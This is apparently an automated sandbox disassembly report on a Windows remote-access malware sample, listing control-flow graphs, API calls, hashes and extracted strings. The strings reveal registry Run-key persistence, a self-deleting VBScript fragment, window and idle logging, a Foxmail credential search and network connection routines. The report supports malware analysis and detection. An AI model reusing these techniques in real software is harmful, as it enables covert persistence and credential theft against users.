4027cb call 405ce6 call 4027cb call 40275c call 4027cb call 40275c call 4027cb call 40275c call 4027cb call 40275c call 4027cb call 40275c call 4027cb call 40275c call 4027cb call 40275c call 4027cb call 405ce6 call 4027cb * 5 call 40275c call 4027cb call 40275c call 4027cb * 7 call 40275c call 4027cb call 40275c call 4027cb call 40275c call 404468 call 401eea * 54 call 401e13 call 401eea * 7 call 401e13 call 401eea call 401e13 call 4045d5 697->704 703->704 977 414c52-414c59 704->977 978 414c5b-414c62 977->978 979 414c6d-414c74 977->979 978->979 980 414c64-414c66 978->980 981 414c80-414cb2 call 405415 call 401f66 * 2 call 41a891 979->981 982 414c76-414c7b call 40a767 979->982 980->979 993 414cb4-414cc0 CreateThread 981->993 994 414cc6-414ce1 call 401eea * 2 call 401e13 981->994 982->981 993->994 994->631
                                                                                            APIs
                                                                                            • Sleep.KERNEL32(00000000,00000029,00475308,?,00000000), ref: 00414100
                                                                                            • WSAGetLastError.WS2_32 ref: 00414321
                                                                                            • Sleep.KERNEL32(00000000,00000002), ref: 00414D1A
                                                                                              • Part of subcall function 0041A891: GetLocalTime.KERNEL32(00000000), ref: 0041A8AB
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: Sleep$ErrorLastLocalTime
                                                                                            • String ID: | $%I64u$6.0.0 Pro$C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe$Connected | $Connecting | $Connection Error: $Connection Error: Unable to create socket$Disconnected$Exe$PSG$PhNG$Rmc-A5VKNH$TLS Off$TLS On $TeF$dMG$h&y$hSG$hlight$name$NG$NG$UG$VG
                                                                                            • API String ID: 524882891-2015614794
                                                                                            • Opcode ID: 954646784e8f6be9dd44803549d2c5ccbc489c5c0d8a5b6de1c29711ef139263
                                                                                            • Instruction ID: c3263a97f07b8ae9d11225c8127e62ab27a72c03ae3a8f764161ebb565a1ac44
                                                                                            • Opcode Fuzzy Hash: 954646784e8f6be9dd44803549d2c5ccbc489c5c0d8a5b6de1c29711ef139263
                                                                                            • Instruction Fuzzy Hash: EE625E71A001145ACB18F771DDA6AEE73659FA0308F1041BFB80A771E2EF785E85CA9D
                                                                                            Function 0040BF04 Relevance: 45.8, APIs: 6, Strings: 20, Instructions: 260registryCOMMON
                                                                                            Download Yara Rule

                                                                                            Control-flow Graph

                                                                                            • Executed
                                                                                            • Not Executed
                                                                                            control_flow_graph 1001 40bf04-40bf1a call 411771 1004 40bf26-40bf2f 1001->1004 1005 40bf1c-40bf21 call 40afba 1001->1005 1007 40bf31 call 418dfe 1004->1007 1008 40bf36-40bf3d 1004->1008 1005->1004 1007->1008 1010 40bf50-40bf60 1008->1010 1011 40bf3f-40bf4b call 401e07 call 41b63a 1008->1011 1013 40bf62-40bf71 call 401e07 call 412a52 1010->1013 1014 40bf77-40bf82 1010->1014 1011->1010 1028 40bf76 1013->1028 1015 40bf84-40bf90 call 401e07 call 412a52 1014->1015 1016 40bf96-40bf9c 1014->1016 1033 40bf95 1015->1033 1020 40bfb3-40c007 call 436260 call 4022f8 call 401e8f * 2 call 412735 1016->1020 1021 40bf9e-40bfb2 call 401e07 call 412a52 1016->1021 1043 40c019-40c047 call 401e8f RegDeleteKeyA call 406a1a 1020->1043 1044 40c009-40c013 GetModuleFileNameW 1020->1044 1021->1020 1028->1014 1033->1016 1049 40c058-40c11d SetFileAttributesW call 41ad43 call 41b013 call 4028cf call 401e13 call 401eea call 43ae1f call 403b40 call 4028cf call 403cdc call 401e13 * 2 call 403b40 call 403cbb call 401e13 1043->1049 1050 40c049-40c056 call 401e07 SetFileAttributesW 1043->1050 1044->1043 1081 40c176-40c1d0 call 403b40 call 4028cf * 2 call 402de3 call 401e13 * 3 1049->1081 1082 40c11f-40c171 call 403b40 call 403cbb call 4028cf call 402de3 call 401e13 * 3 1049->1082 1050->1049 1110 40c1e0-40c1f0 call 406a1a 1081->1110 1111 40c1d2-40c1db call 4082d2 1081->1111 1082->1081 1115 40c1f2-40c22a call 40b0dd call 4028cf call 402de3 call 401e13 * 2 1110->1115 1116 40c22f-40c26b call 4082d2 call 401e07 call 4022f8 call 401e07 call 41b79a 1110->1116 1111->1110 1115->1116 1136 40c286-40c287 ExitProcess 1116->1136 1137 40c26d-40c280 call 401e07 ShellExecuteW 1116->1137 1137->1136
                                                                                            APIs
                                                                                              • Part of subcall function 00411771: TerminateProcess.KERNEL32(00000000,pth_unenc,0040E748), ref: 00411781
                                                                                              • Part of subcall function 00411771: WaitForSingleObject.KERNEL32(000000FF), ref: 00411794
                                                                                            • GetModuleFileNameW.KERNEL32(00000000,?,00000208,?,?,?,?,?,00475308,?,pth_unenc), ref: 0040C013
                                                                                            • RegDeleteKeyA.ADVAPI32(80000001,00000000), ref: 0040C026
                                                                                            • SetFileAttributesW.KERNEL32(00000000,00000080,?,?,?,?,?,00475308,?,pth_unenc), ref: 0040C056
                                                                                            • SetFileAttributesW.KERNEL32(?,00000080,?,?,?,?,?,00475308,?,pth_unenc), ref: 0040C065
                                                                                              • Part of subcall function 0040AFBA: TerminateThread.KERNEL32(004099A9,00000000,00475308,pth_unenc,0040BF26,h&y,00475308,?,pth_unenc), ref: 0040AFC9
                                                                                              • Part of subcall function 0040AFBA: UnhookWindowsHookEx.USER32(00475108), ref: 0040AFD5
                                                                                              • Part of subcall function 0040AFBA: TerminateThread.KERNEL32(Function_00009993,00000000,?,pth_unenc), ref: 0040AFE3
                                                                                              • Part of subcall function 0041AD43: GetCurrentProcessId.KERNEL32(00000000,756F3530,00000000,?,?,?,?,00466900,0040C07B,.vbs,?,?,?,?,?,00475308), ref: 0041AD6A
                                                                                            • ShellExecuteW.SHELL32(00000000,open,00000000,00466900,00466900,00000000), ref: 0040C280
                                                                                            • ExitProcess.KERNEL32 ref: 0040C287
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: FileProcessTerminate$AttributesThread$CurrentDeleteExecuteExitHookModuleNameObjectShellSingleUnhookWaitWindows
                                                                                            • String ID: SG$ SG$")$.vbs$On Error Resume Next$PSG$Set fso = CreateObject("Scripting.FileSystemObject")$Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$Temp$dMG$exepath$fso.DeleteFile "$fso.DeleteFile(Wscript.ScriptFullName)$fso.DeleteFolder "$h&y$open$pth_unenc$wend$while fso.FileExists("
                                                                                            • API String ID: 3797177996-347838111
                                                                                            • Opcode ID: de2c2797f6959248092b82466f1af769f5bd4b2ef2b74a7530ecb9b6044a0840
                                                                                            • Instruction ID: 3970d62be7f9f5e1fdb580af11360c5c0218cddba346a3e39168d22276c4a34b
                                                                                            • Opcode Fuzzy Hash: de2c2797f6959248092b82466f1af769f5bd4b2ef2b74a7530ecb9b6044a0840
                                                                                            • Instruction Fuzzy Hash: 838194316042005BC315FB21D852AAF7799AF91708F10453FF986A72E2EF7C9D49C69E
                                                                                            Function 00411D59 Relevance: 25.0, APIs: 9, Strings: 5, Instructions: 479sleepfileCOMMON
                                                                                            Download Yara Rule

                                                                                            Control-flow Graph

                                                                                            • Executed
                                                                                            • Not Executed
                                                                                            control_flow_graph 1140 411d59-411da2 GetModuleFileNameW call 401faa * 3 1147 411da4-411e2e call 41ad43 call 401e8f call 40c854 call 401eea call 41ad43 call 401e8f call 40c854 call 401eea call 41ad43 call 401e8f call 40c854 call 401eea 1140->1147 1172 411e30-411ec0 call 401e8f call 403b40 call 403cbb call 403cdc call 4028cf call 401e07 call 41789c call 401e13 * 4 1147->1172 1195 411ed0 1172->1195 1196 411ec2-411eca Sleep 1172->1196 1197 411ed2-411f62 call 401e8f call 403b40 call 403cbb call 403cdc call 4028cf call 401e07 call 41789c call 401e13 * 4 1195->1197 1196->1172 1196->1195 1220 411f72 1197->1220 1221 411f64-411f6c Sleep 1197->1221 1222 411f74-412004 call 401e8f call 403b40 call 403cbb call 403cdc call 4028cf call 401e07 call 41789c call 401e13 * 4 1220->1222 1221->1197 1221->1220 1245 412014-412038 1222->1245 1246 412006-41200e Sleep 1222->1246 1247 41203c-412058 call 401e07 call 41b825 1245->1247 1246->1222 1246->1245 1252 41205a-412069 call 401e07 DeleteFileW 1247->1252 1253 41206f-41208b call 401e07 call 41b825 1247->1253 1252->1253 1260 4120a8 1253->1260 1261 41208d-4120a6 call 401e07 DeleteFileW 1253->1261 1263 4120ac-4120c8 call 401e07 call 41b825 1260->1263 1261->1263 1269 4120e2-4120e4 1263->1269 1270 4120ca-4120dc call 401e07 DeleteFileW 1263->1270 1271 4120f1-4120fc Sleep 1269->1271 1272 4120e6-4120e8 1269->1272 1270->1269 1271->1247 1275 412102-412114 call 408339 1271->1275 1272->1271 1274 4120ea-4120ef 1272->1274 1274->1271 1274->1275 1279 412116-412124 call 408339 1275->1279 1280 41216a-412189 call 401e13 * 3 1275->1280 1279->1280 1286 412126-412134 call 408339 1279->1286 1291 41218e-4121f7 call 40b027 call 401e07 call 401fbd call 4124cf call 401e13 call 405422 1280->1291 1286->1280 1292 412136-412162 Sleep call 401e13 * 3 1286->1292 1312 4121fd-412347 call 41b0d3 call 41af51 call 4027ec call 4027cb * 6 call 40275c call 4027cb call 40275c call 404468 call 401eea * 10 1291->1312 1313 41234c-4123f3 call 41b0d3 call 4027ec call 4027cb * 6 call 40275c call 404468 1291->1313 1292->1147 1306 412168 1292->1306 1306->1291 1382 412447-4124a7 call 401eea call 401e13 call 401eea * 7 1312->1382 1352 4123f8-412443 call 401eea * 7 1313->1352 1352->1382 1412 4124ac-4124ce call 401eea * 2 1382->1412
                                                                                            APIs
                                                                                            • GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00411D72
                                                                                              • Part of subcall function 0041AD43: GetCurrentProcessId.KERNEL32(00000000,756F3530,00000000,?,?,?,?,00466900,0040C07B,.vbs,?,?,?,?,?,00475308), ref: 0041AD6A
                                                                                              • Part of subcall function 0041789C: CloseHandle.KERNEL32(00403AB9,?,?,00403AB9,00466324), ref: 004178B2
                                                                                              • Part of subcall function 0041789C: CloseHandle.KERNEL32($cF,?,?,00403AB9,00466324), ref: 004178BB
                                                                                            • Sleep.KERNEL32(0000000A,00466324), ref: 00411EC4
                                                                                            • Sleep.KERNEL32(0000000A,00466324,00466324), ref: 00411F66
                                                                                            • Sleep.KERNEL32(0000000A,00466324,00466324,00466324), ref: 00412008
                                                                                            • DeleteFileW.KERNEL32(00000000,00466324,00466324,00466324), ref: 00412069
                                                                                            • DeleteFileW.KERNEL32(00000000,00466324,00466324,00466324), ref: 004120A0
                                                                                            • DeleteFileW.KERNEL32(00000000,00466324,00466324,00466324), ref: 004120DC
                                                                                            • Sleep.KERNEL32(000001F4,00466324,00466324,00466324), ref: 004120F6
                                                                                            • Sleep.KERNEL32(00000064), ref: 00412138
                                                                                              • Part of subcall function 00404468: send.WS2_32(000002FC,00000000,00000000,00000000), ref: 004044FD
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: Sleep$File$Delete$CloseHandle$CurrentModuleNameProcesssend
                                                                                            • String ID: /stext "$HTG$HTG$NG$NG
                                                                                            • API String ID: 1223786279-556891652
                                                                                            • Opcode ID: 1215c486e2958bdec5210ccbb02928ddb3de0dbc92be2f9ee5c40b360698df7d
                                                                                            • Instruction ID: b666a026b41db1aee680f36e7b950d376c2ae40a85d54f66cdb5da2431d4b1f1
                                                                                            • Opcode Fuzzy Hash: 1215c486e2958bdec5210ccbb02928ddb3de0dbc92be2f9ee5c40b360698df7d
                                                                                            • Instruction Fuzzy Hash: F00224315083414AD324FB61D891BEFB7D5AFD4308F50493EF88A931E2EF785A49C69A
                                                                                            Function 100012EE Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 243stringCOMMON
                                                                                            Download Yara Rule

                                                                                            Control-flow Graph

                                                                                            APIs
                                                                                            • GetEnvironmentVariableW.KERNEL32(ProgramFiles,?,00000104), ref: 10001434
                                                                                              • Part of subcall function 100010F1: lstrlenW.KERNEL32(?,?,?,?,00000002,00000000), ref: 10001137
                                                                                              • Part of subcall function 100010F1: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,00000002,00000000), ref: 10001151
                                                                                              • Part of subcall function 100010F1: lstrlenW.KERNEL32(?,?,?,?,?,?,?,00000002,00000000), ref: 1000115C
                                                                                              • Part of subcall function 100010F1: lstrlenW.KERNEL32(?,?,?,?,?,?,?,00000002,00000000), ref: 1000116D
                                                                                              • Part of subcall function 100010F1: lstrlenW.KERNEL32(?,?,?,?,?,?,?,00000002,00000000), ref: 1000117C
                                                                                              • Part of subcall function 100010F1: FindFirstFileW.KERNEL32(?,?,?,?,?,?,?,?,00000002,00000000), ref: 10001193
                                                                                              • Part of subcall function 100010F1: FindNextFileW.KERNELBASE(00000000,00000010), ref: 100011D0
                                                                                              • Part of subcall function 100010F1: FindClose.KERNEL32(00000000), ref: 100011DB
                                                                                            • lstrlenW.KERNEL32(?), ref: 100014C5
                                                                                            • lstrlenW.KERNEL32(?), ref: 100014E0
                                                                                            • lstrlenW.KERNEL32(?,?), ref: 1000150F
                                                                                            • lstrcatW.KERNEL32(00000000), ref: 10001521
                                                                                            • lstrlenW.KERNEL32(?,?), ref: 10001547
                                                                                            • lstrcatW.KERNEL32(00000000), ref: 10001553
                                                                                            • lstrlenW.KERNEL32(?,?), ref: 10001579
                                                                                            • lstrcatW.KERNEL32(00000000), ref: 10001585
                                                                                            • lstrlenW.KERNEL32(?,?), ref: 100015AB
                                                                                            • lstrcatW.KERNEL32(00000000), ref: 100015B7
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1422485768.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1422450831.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1422485768.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_10000000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: lstrlen$lstrcat$Find$File$CloseEnvironmentFirstNextVariable
                                                                                            • String ID: )$Foxmail$ProgramFiles
                                                                                            • API String ID: 672098462-2938083778
                                                                                            • Opcode ID: 70009fe3950369d2bec9de66e6564922956a7fdd4521fcb7cc54e78474496dcb
                                                                                            • Instruction ID: 44b728d421a24f1832cbc0053e0d9d9aefaca4d51113d01ad6b93c48f87fe4b0
                                                                                            • Opcode Fuzzy Hash: 70009fe3950369d2bec9de66e6564922956a7fdd4521fcb7cc54e78474496dcb
                                                                                            • Instruction Fuzzy Hash: 4081A475A40358A9EB30D7A0DC86FDE7379EF84740F00059AF608EB191EBB16AC5CB95
                                                                                            Function 0040A3F4 Relevance: 22.9, APIs: 6, Strings: 7, Instructions: 158sleepCOMMON
                                                                                            Download Yara Rule

                                                                                            Control-flow Graph

                                                                                            APIs
                                                                                            • __Init_thread_footer.LIBCMT ref: 0040A456
                                                                                            • Sleep.KERNEL32(000001F4), ref: 0040A461
                                                                                            • GetForegroundWindow.USER32 ref: 0040A467
                                                                                            • GetWindowTextLengthW.USER32(00000000), ref: 0040A470
                                                                                            • GetWindowTextW.USER32(00000000,00000000,00000000), ref: 0040A4A4
                                                                                            • Sleep.KERNEL32(000003E8), ref: 0040A574
                                                                                              • Part of subcall function 00409D58: SetEvent.KERNEL32(?,?,?,0040AF3F,?,?,?,?,?,00000000), ref: 00409D84
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: Window$SleepText$EventForegroundInit_thread_footerLength
                                                                                            • String ID: [${ User has been idle for $ minutes }$<mG$<mG$<mG$]
                                                                                            • API String ID: 911427763-3636820255
                                                                                            • Opcode ID: 8fb8149eabec296cbc390dca60e8b39fb2b51c0588327c1909719e343b1b8959
                                                                                            • Instruction ID: ab9145b4e211f5f3da3af6290e6e7a2c9d96cae7f6b46a2c86e206227f6ebbf0
                                                                                            • Opcode Fuzzy Hash: 8fb8149eabec296cbc390dca60e8b39fb2b51c0588327c1909719e343b1b8959
                                                                                            • Instruction Fuzzy Hash: 1951D0716043409BC324FB25D886AAE7795AF84718F00093FF446A32E2DF7C9E55868F
                                                                                            Function 0040428C Relevance: 19.4, APIs: 4, Strings: 7, Instructions: 147networkCOMMON
                                                                                            Download Yara Rule

                                                                                            Control-flow Graph

                                                                                            • Executed
                                                                                            • Not Executed
                                                                                            control_flow_graph 1535 40428c-4042ad connect 1536 4043e1-4043e5 1535->1536 1537 4042b3-4042b6 1535->1537 1540 4043e7-4043f5 WSAGetLastError 1536->1540 1541 40445f 1536->1541 1538 4043da-4043dc 1537->1538 1539 4042bc-4042bf 1537->1539 1542 404461-404465 1538->1542 1543 4042c1-4042e8 call 404cbf call 401f66 call 41a891 1539->1543 1544 4042eb-4042f5 call 42035c 1539->1544 1540->1541 1545 4043f7-4043fa 1540->1545 1541->1542 1543->1544 1557 404306-404313 call 42057e 1544->1557 1558 4042f7-404301 1544->1558 1547 404439-40443e 1545->1547 1548 4043fc-404437 call 41be81 call 404c9e call 401f66 call 41a891 call 401eea 1545->1548 1550 404443-40445c call 401f66 * 2 call 41a891 1547->1550 1548->1541 1550->1541 1567 404315-404338 call 401f66 * 2 call 41a891 1557->1567 1568 40434c-404357 call 42113f 1557->1568 1558->1550 1597 40433b-404347 call 42039c 1567->1597 1581 404389-404396 call 4204f5 1568->1581 1582 404359-404387 call 401f66 * 2 call 41a891 call 42079d 1568->1582 1594 404398-4043bb call 401f66 * 2 call 41a891 1581->1594 1595 4043be-4043d7 CreateEventW * 2 1581->1595 1582->1597 1594->1595 1595->1538 1597->1541
                                                                                            APIs
                                                                                            • connect.WS2_32(?,007B1B40,00000010), ref: 004042A5
                                                                                            • CreateEventW.KERNEL32(00000000,00000000,00000001,00000000,?,?,?,0040192B), ref: 004043CB
                                                                                            • CreateEventW.KERNEL32(00000000,00000000,00000001,00000000,?,?,?,0040192B), ref: 004043D5
                                                                                            • WSAGetLastError.WS2_32(?,?,?,0040192B), ref: 004043E7
                                                                                              • Part of subcall function 0041A891: GetLocalTime.KERNEL32(00000000), ref: 0041A8AB
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: CreateEvent$ErrorLastLocalTimeconnect
                                                                                            • String ID: Connection Failed: $Connection Refused$TLS Authentication Failed$TLS Error 1$TLS Error 2$TLS Error 3$TLS Handshake... |
                                                                                            • API String ID: 994465650-2151626615
                                                                                            • Opcode ID: 9379925db72da2034527559fd86dcfcd9fe2d2f7286b001fe2c7b8a03b8f1f15
                                                                                            • Instruction ID: 8d860672b69a19ae3c360ccb47b0a38bc4e99592ce22fc56bfe6acc5d0e7da0a
                                                                                            • Opcode Fuzzy Hash: 9379925db72da2034527559fd86dcfcd9fe2d2f7286b001fe2c7b8a03b8f1f15
                                                                                            • Instruction Fuzzy Hash: D54109B0B0020277CA04B77A884766E7A55AB85314B80012FE901A7AD3FE3DAD2587DF
                                                                                            Function 004047EB Relevance: 18.1, APIs: 12, Instructions: 66synchronizationCOMMON
                                                                                            Download Yara Rule

                                                                                            Control-flow Graph

                                                                                            APIs
                                                                                            • WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,00000000,?,00404B8E,?,?,?,00404B26), ref: 004047FD
                                                                                            • SetEvent.KERNEL32(?,?,?,?,00000000,?,00404B8E,?,?,?,00404B26), ref: 00404808
                                                                                            • CloseHandle.KERNEL32(?,?,?,?,00000000,?,00404B8E,?,?,?,00404B26), ref: 00404811
                                                                                            • closesocket.WS2_32(000000FF), ref: 0040481F
                                                                                            • WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,00000000,?,00404B8E,?,?,?,00404B26), ref: 00404856
                                                                                            • SetEvent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 00404867
                                                                                            • WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040486E
                                                                                            • SetEvent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00404880
                                                                                            • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00404885
                                                                                            • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0040488A
                                                                                            • SetEvent.KERNEL32(?,?,?,?,00000000,?,00404B8E,?,?,?,00404B26), ref: 00404895
                                                                                            • CloseHandle.KERNEL32(?,?,?,?,00000000,?,00404B8E,?,?,?,00404B26), ref: 0040489A
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: CloseEventHandle$ObjectSingleWait$closesocket
                                                                                            • String ID:
                                                                                            • API String ID: 3658366068-0
                                                                                            • Opcode ID: 0962e5985aceae85a5c94cde7029e24ad356a8ace8c6bfbca5ef33fdb60659b2
                                                                                            • Instruction ID: bab6184e8302d1d457a53eef1949a11c31841f7ba2aeead181e9cd14b25d2afd
                                                                                            • Opcode Fuzzy Hash: 0962e5985aceae85a5c94cde7029e24ad356a8ace8c6bfbca5ef33fdb60659b2
                                                                                            • Instruction Fuzzy Hash: 21212C71100F149FC6216B26DC05A17BBE1EF40325F104A6EE2A622AF2CF35F851DB4C
                                                                                            Function 0040C89E Relevance: 17.6, APIs: 1, Strings: 9, Instructions: 139COMMON
                                                                                            Download Yara Rule

                                                                                            Control-flow Graph

                                                                                            • Executed
                                                                                            • Not Executed
                                                                                            control_flow_graph 1627 40c89e-40c8c3 call 401e52 1630 40c8c9 1627->1630 1631 40c9ed-40ca85 call 401e07 GetLongPathNameW call 403b40 * 2 call 40cd0a call 402860 * 2 call 401e13 * 5 1627->1631 1632 40c8d0-40c8d5 1630->1632 1633 40c9c2-40c9c7 1630->1633 1634 40c905-40c90a 1630->1634 1635 40c9d8 1630->1635 1636 40c9c9-40c9ce call 43ae1f 1630->1636 1637 40c8da-40c8e8 call 41a956 call 401e18 1630->1637 1638 40c8fb-40c900 1630->1638 1639 40c9bb-40c9c0 1630->1639 1640 40c90f-40c916 call 41b366 1630->1640 1642 40c9dd-40c9e2 call 43ae1f 1632->1642 1633->1642 1634->1642 1635->1642 1648 40c9d3-40c9d6 1636->1648 1660 40c8ed 1637->1660 1638->1642 1639->1642 1652 40c918-40c968 call 403b40 call 43ae1f call 403b40 call 402860 call 401e18 call 401e13 * 2 1640->1652 1653 40c96a-40c9b6 call 403b40 call 43ae1f call 403b40 call 402860 call 401e18 call 401e13 * 2 1640->1653 1654 40c9e3-40c9e8 call 4082d7 1642->1654 1648->1635 1648->1654 1666 40c8f1-40c8f6 call 401e13 1652->1666 1653->1660 1654->1631 1660->1666 1666->1631
                                                                                            APIs
                                                                                            • GetLongPathNameW.KERNEL32(00000000,?,00000208), ref: 0040CA04
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: LongNamePath
                                                                                            • String ID: AppData$ProgramData$ProgramFiles$SystemDrive$Temp$UserProfile$WinDir$\SysWOW64$\system32
                                                                                            • API String ID: 82841172-425784914
